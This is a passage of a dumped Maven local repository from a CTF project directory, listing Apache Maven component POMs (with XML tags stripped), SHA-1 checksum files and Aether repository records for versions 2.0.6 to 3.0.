web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-artifact-manager-2.0.9.pom>central= maven-artifact-manager-2.0.9.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/maven-artifact-manager-2.0.9.jar.sha1 ================================================ 53224a5254101fb9b6d561d5a53c6d0817036d94 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/maven-artifact-manager-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-artifact-manager Maven Artifact Manager org.apache.maven maven-repository-metadata org.apache.maven.wagon wagon-file test org.codehaus.plexus plexus-utils org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default org.apache.maven.wagon wagon-provider-api easymock easymock 1.2_Java1.3 test maven-surefire-plugin **/testutils/** ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.0.9/maven-artifact-manager-2.0.9.pom.sha1 ================================================ 84c14dcd1d85eebccbba665f95057b5748f51d83 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-artifact-manager-2.2.1.jar>central= maven-artifact-manager-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.jar.sha1 ================================================ ec355b913c34d37080810f98e3f51abecbe1572b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-artifact-manager Maven Artifact Manager org.apache.maven maven-repository-metadata org.apache.maven.wagon wagon-file test org.apache.maven.wagon wagon-http test org.codehaus.plexus plexus-utils org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default org.apache.maven.wagon wagon-provider-api backport-util-concurrent backport-util-concurrent easymock easymock 1.2_Java1.3 test edu.umd.cs.mtc multithreadedtc-jdk14 1.01 test maven-surefire-plugin **/testutils/** ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.pom.sha1 ================================================ 062f05a1fc0a40a6ea8fc8f0a1e9e2c02057ebaf ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-core-2.0.6.jar>central= maven-core-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.jar.sha1 ================================================ 33b78ed70029bfca9fadee5c8e7c9b27b9a39443 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-core Maven Core maven-assembly-plugin src/assemble/bin.xml maven-${version} install attached shade-maven-plugin org.codehaus.mojo package shade classworlds:classworlds junit:junit jmock:jmock xml-apis:xml-apis org.codehaus.plexus.util org.codehaus.plexus.util.xml.Xpp3Dom org.codehaus.plexus.util.xml.pull.* org.apache.maven maven-settings org.apache.maven.wagon wagon-file runtime org.apache.maven maven-plugin-parameter-documenter org.apache.maven.wagon wagon-http-lightweight runtime org.apache.maven.reporting maven-reporting-api org.apache.maven maven-profile org.apache.maven maven-model org.apache.maven maven-artifact org.apache.maven.wagon wagon-provider-api org.codehaus.plexus plexus-container-default org.apache.maven maven-repository-metadata 2.0.6 org.apache.maven maven-error-diagnostics 2.0.6 org.apache.maven maven-project commons-cli commons-cli 1.0 commons-lang commons-lang commons-logging commons-logging org.apache.maven maven-plugin-api org.apache.maven.wagon wagon-ssh-external runtime org.apache.maven maven-plugin-descriptor 2.0.6 org.codehaus.plexus plexus-interactivity-api 1.0-alpha-4 plexus-utils plexus plexus-container-default org.codehaus.plexus org.apache.maven maven-artifact-manager org.apache.maven maven-monitor org.apache.maven.wagon wagon-ssh runtime org.codehaus.plexus plexus-utils classworlds classworlds ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.pom.sha1 ================================================ b02365ee1822cff5839d9f85bc9b1cbfab9f5674 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-core-2.0.9.jar>central= maven-core-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/maven-core-2.0.9.jar.sha1 ================================================ e1003a0a66dae77515259c5e591ea1cfd73c2859 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/maven-core-2.0.9.pom ================================================ 4.0.0 maven org.apache.maven 2.0.9 maven-core Maven Core apache.snapshots http://people.apache.org/repo/m2-snapshot-repository org.apache.maven maven-settings org.apache.maven.wagon wagon-file runtime org.apache.maven maven-plugin-parameter-documenter org.apache.maven.wagon wagon-webdav runtime org.apache.maven.wagon wagon-http-lightweight runtime org.apache.maven.reporting maven-reporting-api org.apache.maven maven-profile org.apache.maven maven-model org.apache.maven maven-artifact org.apache.maven.wagon wagon-provider-api org.codehaus.plexus plexus-container-default org.apache.maven maven-repository-metadata org.apache.maven maven-error-diagnostics org.apache.maven maven-project commons-cli commons-cli 1.0 commons-lang commons-lang commons-logging commons-logging org.apache.maven maven-plugin-api org.apache.maven.wagon wagon-ssh-external runtime org.apache.maven maven-plugin-descriptor org.codehaus.plexus plexus-interactivity-api 1.0-alpha-4 plexus-utils plexus plexus-container-default org.codehaus.plexus org.apache.maven maven-artifact-manager org.apache.maven maven-monitor org.apache.maven.wagon wagon-ssh runtime org.codehaus.plexus plexus-utils classworlds classworlds org.codehaus.mojo l10n-maven-plugin 1.0-alpha-1 el de es fr ja nl no pl zh_CN include-site org.apache.maven.plugins maven-scm-plugin scm:svn:http://svn.apache.org/repos/asf/maven/site/trunk ${project.build.directory}/maven-site initialize checkout org.apache.maven.plugins maven-invoker-plugin ${project.build.directory}/maven-site ${project.build.directory}/maven-site/pom.xml clean site initialize initialize run ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/maven-core-2.0.9.pom.sha1 ================================================ 25da75e747afa1c361f003aed72de2e48dd190a7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:18 CST 2018 maven-core-2.2.1.jar>central= maven-core-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.jar.sha1 ================================================ 6f488e461188496c62e161f32160b3465ce5901e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-core Maven Core org.apache.maven maven-settings org.apache.maven.wagon wagon-file runtime org.apache.maven maven-plugin-parameter-documenter org.apache.maven.wagon wagon-http-lightweight org.apache.maven.wagon wagon-http commons-logging commons-logging org.apache.maven.wagon wagon-webdav-jackrabbit runtime commons-logging commons-logging org.slf4j slf4j-jdk14 runtime org.slf4j jcl-over-slf4j runtime org.apache.maven.reporting maven-reporting-api org.apache.maven maven-profile org.apache.maven maven-model org.apache.maven maven-artifact org.apache.maven.wagon wagon-provider-api org.codehaus.plexus plexus-container-default org.apache.maven maven-repository-metadata org.apache.maven maven-error-diagnostics org.apache.maven maven-project commons-cli commons-cli commons-lang commons-lang commons-logging commons-logging org.apache.maven maven-plugin-api org.apache.maven.wagon wagon-ssh-external runtime org.apache.maven maven-plugin-descriptor org.codehaus.plexus plexus-interactivity-api 1.0-alpha-4 plexus-utils plexus plexus-container-default org.codehaus.plexus org.apache.maven maven-artifact-manager org.apache.maven maven-monitor org.apache.maven.wagon wagon-ssh org.codehaus.plexus plexus-utils classworlds classworlds org.sonatype.plexus plexus-sec-dispatcher src/main/resources true org.apache.maven.plugins maven-compiler-plugin 2.0.2 default 1.5 1.5 **/cli/*.java cli compile testCompile 1.4 1.4 **/cli/*.java org.codehaus.mojo l10n-maven-plugin 1.0-alpha-1 el de es fr ja nl no pl zh_CN include-site org.apache.maven.plugins maven-scm-plugin scm:svn:http://svn.apache.org/repos/asf/maven/site/trunk ${project.build.directory}/maven-site initialize checkout org.apache.maven.plugins maven-invoker-plugin ${project.build.directory}/maven-site ${project.build.directory}/maven-site/pom.xml clean site initialize initialize run canonical-buildnumber .svn org.codehaus.mojo buildnumber-maven-plugin 1.0-beta-1 generate-resources create false false non-canonical-buildnumber .svn org.codehaus.mojo buildnumber-maven-plugin 1.0-beta-1 generate-resources create false false NON-CANONICAL_{0,date,yyyy-MM-dd_HH-mm}_{1} timestamp ${user.name} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.pom.sha1 ================================================ c7312a507d519047be160bab5cbb56c07d0247a1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-core-3.0.jar>central= maven-core-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/maven-core-3.0.jar.sha1 ================================================ 73728ce32c9016c8bd05584301fa3ba3a6f5d20a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/maven-core-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-core Maven Core org.apache.maven maven-model org.apache.maven maven-settings org.apache.maven maven-settings-builder org.apache.maven maven-repository-metadata org.apache.maven maven-artifact org.apache.maven maven-plugin-api org.apache.maven maven-model-builder org.apache.maven maven-aether-provider runtime org.sonatype.aether aether-impl ${aetherVersion} org.sonatype.aether aether-api ${aetherVersion} org.sonatype.aether aether-util ${aetherVersion} org.sonatype.sisu sisu-inject-plexus org.codehaus.plexus plexus-interpolation org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-classworlds org.codehaus.plexus plexus-component-annotations org.sonatype.plexus plexus-sec-dispatcher commons-jxpath commons-jxpath test src/main/resources true org.codehaus.plexus plexus-component-metadata org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/toolchains.mdo svn-buildnumber .svn org.codehaus.mojo buildnumber-maven-plugin 1.0-beta-4 generate-resources create false false javasvn non-canonical-buildnumber .svn org.codehaus.mojo buildnumber-maven-plugin 1.0-beta-1 generate-resources create false false NON-CANONICAL_{0,date,yyyy-MM-dd_HH-mm}_{1} timestamp ${user.name} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/maven-core-3.0.pom.sha1 ================================================ 3727542038487060064a4a14b74c7590d364c45b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-error-diagnostics-2.0.6.jar>central= maven-error-diagnostics-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.jar.sha1 ================================================ 49f5380c07a79cd91ee09e0cb9063764f1f6525c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-error-diagnostics Maven Error Diagnostics Provides a manager component which will process a given Throwable instance through a set of diagnostic sub-components, and return a String message with user-friendly information about the error and possibly how to fix it. org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.pom.sha1 ================================================ 31c0ce961dfc5b491e92ad0804dd48840dac7796 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-error-diagnostics-2.0.9.jar>central= maven-error-diagnostics-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/maven-error-diagnostics-2.0.9.jar.sha1 ================================================ 46cc6b69beebc7bbf59c4f3842f72f2c1942e8e5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/maven-error-diagnostics-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-error-diagnostics Maven Error Diagnostics Provides a manager component which will process a given Throwable instance through a set of diagnostic sub-components, and return a String message with user-friendly information about the error and possibly how to fix it. org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/maven-error-diagnostics-2.0.9.pom.sha1 ================================================ dd562ddf84fc56b0693b42184a27d86d126ef02b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-error-diagnostics-2.2.1.jar>central= maven-error-diagnostics-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.jar.sha1 ================================================ e81bb342d7d172f23d108dc8fa979a1facdcde8e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-error-diagnostics Maven Error Diagnostics Provides a manager component which will process a given Throwable instance through a set of diagnostic sub-components, and return a String message with user-friendly information about the error and possibly how to fix it. org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.pom.sha1 ================================================ 5074991d8d14a88e7c8bff294639a254d7ef387a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-model-2.0.6.jar>central= maven-model-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.jar.sha1 ================================================ 9649253c0e68a453f388e0a308c0653309f87807 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-model Maven Model Maven Model org.codehaus.modello modello-maven-plugin 4.0.0 src/main/mdo/maven.mdo all-models org.codehaus.modello modello-maven-plugin 1.0-alpha-8 v3 xpp3-writer java xpp3-reader xsd 3.0.0 true maven-jar-plugin package jar all org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.pom.sha1 ================================================ ea1dd9b8c7b1c3d2f0bdf314390ed7da7e463460 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-model-2.0.9.pom>central= maven-model-2.0.9.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/maven-model-2.0.9.jar.sha1 ================================================ 9fb844625928dd992842e180853fbb2b197c9a9d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/maven-model-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-model Maven Model Maven Model org.codehaus.modello modello-maven-plugin 4.0.0 src/main/mdo/maven.mdo all-models org.codehaus.modello modello-maven-plugin 1.0-alpha-8 v3 xpp3-writer java xpp3-reader xsd 3.0.0 true maven-jar-plugin package jar all org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/maven-model-2.0.9.pom.sha1 ================================================ 0978fe1857f847436fd3c454d25161e26fb2d5ec ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-model-2.2.1.jar>central= maven-model-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.jar.sha1 ================================================ c0a1c17436ec3ff5a56207c031d82277b4250a29 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-model Maven Model Maven Model org.codehaus.plexus plexus-utils org.codehaus.modello modello-maven-plugin 4.0.0 src/main/mdo/maven.mdo maven-pmd-plugin 2.4 true all-models org.codehaus.modello modello-maven-plugin v3 xpp3-writer java xpp3-reader xsd 3.0.0 true maven-jar-plugin package jar all ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.pom.sha1 ================================================ 548a7e6354c1bc4a49dbec6bd17b4f8e9310201b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-model-3.0.pom>central= maven-model-3.0.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/maven-model-3.0.jar.sha1 ================================================ 24ce598c94a78341c42556fe9192dad6a2822405 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/maven-model-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-model Maven Model Maven Model org.codehaus.plexus plexus-utils org.codehaus.modello modello-maven-plugin 4.0.0 src/main/mdo/maven.mdo standard java xpp3-reader xpp3-extended-reader xpp3-writer org.apache.maven.plugins maven-site-plugin navigation.xml all-models org.codehaus.modello modello-maven-plugin v3 java xpp3-writer xpp3-reader xsd 3.0.0 true maven-jar-plugin package jar all ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/maven-model-3.0.pom.sha1 ================================================ 3aa89da7792286192b860c58841b3907364d33a8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-model-builder-3.0.jar>central= maven-model-builder-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.jar.sha1 ================================================ bedc161a3b07a4bcd175b9428cdf18725d292b37 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-model-builder Maven Model Builder org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-interpolation org.codehaus.plexus plexus-component-annotations org.apache.maven maven-model org.sonatype.sisu sisu-inject-plexus test org.codehaus.plexus plexus-component-metadata ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.pom.sha1 ================================================ e4b3e5ffec18728f099d8000e400ac763af2cc20 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-monitor-2.0.6.jar>central= maven-monitor-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.jar.sha1 ================================================ ab682e67281bb025980181c83acbcad19042a342 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-monitor Maven Monitor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.pom.sha1 ================================================ 7ed6529eefa74ca263b65a7c20adf65af5bacdff ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-monitor-2.0.9.pom>central= maven-monitor-2.0.9.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/maven-monitor-2.0.9.jar.sha1 ================================================ ae55264ab9ffbbfdba08c8c7853bbe4a2dd32e8a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/maven-monitor-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-monitor Maven Monitor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/maven-monitor-2.0.9.pom.sha1 ================================================ 872e92b9f9ebed4761ea469c2c385f2ffcd6a589 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-monitor-2.2.1.jar>central= maven-monitor-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.jar.sha1 ================================================ afc57c3a1368cd34caccb638e00523701f398c20 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-monitor Maven Monitor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.pom.sha1 ================================================ 421fcf473a51d9695d8dfe4f8e977ae38087f2ae ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:03 CST 2018 maven-parent-10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/10/maven-parent-10.pom ================================================ 4.0.0 org.apache apache 4 ../asf/pom.xml org.apache.maven maven-parent 10 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 jvanzyl Jason van Zyl jason@maven.org ASF PMC Chair -5 aheritier Arnaud Heritier aheritier@apache.org OCTO Technology http://www.octo.com PMC Member +1 brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org ASF PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 fgiust Fabrizio Giustina fgiust@apache.org openmind PMC Member +1 hboutemy Herve Boutemy hboutemy@apache.org PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 joakime Joakim Erdfelt joakime@apache.org ASF PMC Member -5 jstrachan James Strachan PMC Member jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF PMC Member +8 jmcconnell Jesse McConnell jmcconnell@apache.org ASF PMC Member -6 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 ltheussl Lukas Theussl ltheussl@apache.org ASF PMC Member +1 mperham Mike Perham mperham@gmail.com IBM PMC Member -6 olamy Olivier Lamy olamy@apache.org PMC Member +1 snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 trygvis Trygve Laugstol trygvis@apache.org ASF PMC Member +1 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 dkulp Daniel Kulp dkulp@apache.org IONA PMC Member -5 aramirez Allan Q. Ramirez Committer baerrach Barrie Treloar Committer bayard Henri Yandell Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Committer +1 chrisjs Chris Stevenson Committer dantran Dan Tran Committer dblevins David Blevins Committer dlr Daniel Rall Committer epunzalan Edwin Punzalan epunzalan@apache.org Committer -8 felipeal Felipe Leme Committer handyande Andrew Williams handyande@apache.org Committer 0 jjensen Jeff Jensen Committer mkleint Milos Kleint Committer nicolas Nicolas De Loof nicolas@apache.org Capgemini Committer +1 oching Maria Odea B. Ching Committer pschneider Patrick Schneider pschneider@gmail.com Committer -6 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 rgoers Ralph Goers Committer rinku Rahul Thakur Committer shinobu Shinobu Kuwai Committer smorgrav Torbjorn Eikli Smorgrav Committer ogusakov Oleg Gusakov Committer Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-10 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-10 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-10 Hudson http://ci.sonatype.org mail
      notifications@maven.apache.org
      maven.staging scp://people.apache.org/www/people.apache.org/builds/maven/${project.version}/staging-repo apache.snapshots ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} apache.website scp://people.apache.org/www/maven.apache.org Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository UTF-8 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 org.apache.maven.plugins maven-antrun-plugin 1.3 org.apache.maven.plugins maven-clean-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.4 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0-alpha-4 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-invoker-plugin 1.3 org.apache.maven.plugins maven-jar-plugin 2.2 true true org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.4.3 org.apache.maven.plugins maven-release-plugin 2.0-beta-8 false deploy -Prelease org.apache.maven.plugins maven-remote-resources-plugin 1.0 org.apache.maven.plugins maven-resources-plugin 2.3 ${project.build.sourceEncoding} org.apache.maven.plugins maven-scm-plugin 1.1 org.apache.maven.plugins maven-site-plugin 2.0-beta-7 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.codehaus.mojo clirr-maven-plugin 2.2.2 org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.modello modello-maven-plugin 1.0-alpha-21 maven-project-info-reports-plugin 2.1 quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.4 ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo 